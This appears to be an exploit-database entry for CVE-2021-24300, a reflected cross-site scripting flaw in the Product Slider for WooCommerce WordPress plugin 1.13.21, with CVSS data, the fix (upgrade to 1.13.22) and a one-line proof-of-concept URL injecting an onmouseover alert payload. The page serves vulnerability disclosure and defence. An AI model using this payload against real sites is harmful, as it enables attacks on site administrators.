header-logo
Suggest Exploit
vendor:
WordPress Plugin Product Slider for WooCommerce
by:
0xB9
6.1
CVSS
MEDIUM
Cross Site Scripting (XSS)
79
CWE
Product Name: WordPress Plugin Product Slider for WooCommerce
Affected Version From: 1.13.21
Affected Version To: 1.13.21
Patch Exists: YES
Related CWE: CVE-2021-24300
CPE: 2.3:a:wordpress:wordpress_plugin_product_slider_for_woocommerce:1.13.21
Metasploit:
Other Scripts:
Tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Nuclei References: https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837, https://nvd.nist.gov/vuln/detail/CVE-2021-24300
Nuclei Metadata: {'max-request': 2, 'framework': 'wordpress', 'vendor': 'pickplugins', 'product': 'product_slider_for_woocommerce'}
Platforms Tested: Windows 10
2021

WordPress Plugin Product Slider for WooCommerce 1.13.21 – Cross Site Scripting (XSS)

This plugin is a easy carousel slider for WooCommerce products. The slider import search feature is vulnerable to reflected cross-site scripting.

Mitigation:

Upgrade to version 1.13.22 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woocommerc...ts-slider/
# Version: 1.13.21
# Tested on: Windows 10
# CVE: CVE-2021-24300

1. Description:
This plugin is a easy carousel slider for WooCommerce products. The slider import search feature is vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover=alert(1);//

Navigation

Suggest Exploit

Services By CQR